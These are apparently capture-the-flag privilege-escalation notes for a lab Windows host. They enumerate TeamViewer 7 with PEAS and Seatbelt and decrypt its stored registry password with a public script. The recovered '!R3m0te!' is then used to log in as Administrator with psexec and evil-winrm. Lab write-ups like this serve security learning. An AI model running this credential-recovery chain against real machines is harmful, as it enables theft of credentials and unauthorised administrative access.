8 privesc teamviewer

PEAS

TeamViewer7(TeamViewer GmbH - TeamViewer 7)["C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"] - Auto - Running
TeamViewer Remote Software

Seatbelt.exe

====== InstalledProducts ======

  DisplayName                    : TeamViewer 7
  DisplayVersion                 : 7.0.43148

Looking online for this version number comes across

• https://whynotsecurity.com/blog/teamviewer/

• https://gist.github.com/rishdang/442d355180e5c69e0fcb73fecd05d7e0

$ python3 teamviewer_password_decrypt.py

This is a quick and dirty Teamviewer password decrypter basis wonderful post by @whynotsecurity.
Read this blogpost if you haven't already : https://whynotsecurity.com/blog/teamviewer

Please check below mentioned registry values and enter its value manually without spaces.
"SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword"


Enter output from registry without spaces : FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
Decrypted password is :  !R3m0te!

$ python3 /opt/impacket/examples/psexec.py Administrator:'!R3m0te!'@10.10.10.180 
OR
$ evil-winrm -i 10.10.10.180 -u Administrator -p '!R3m0te!'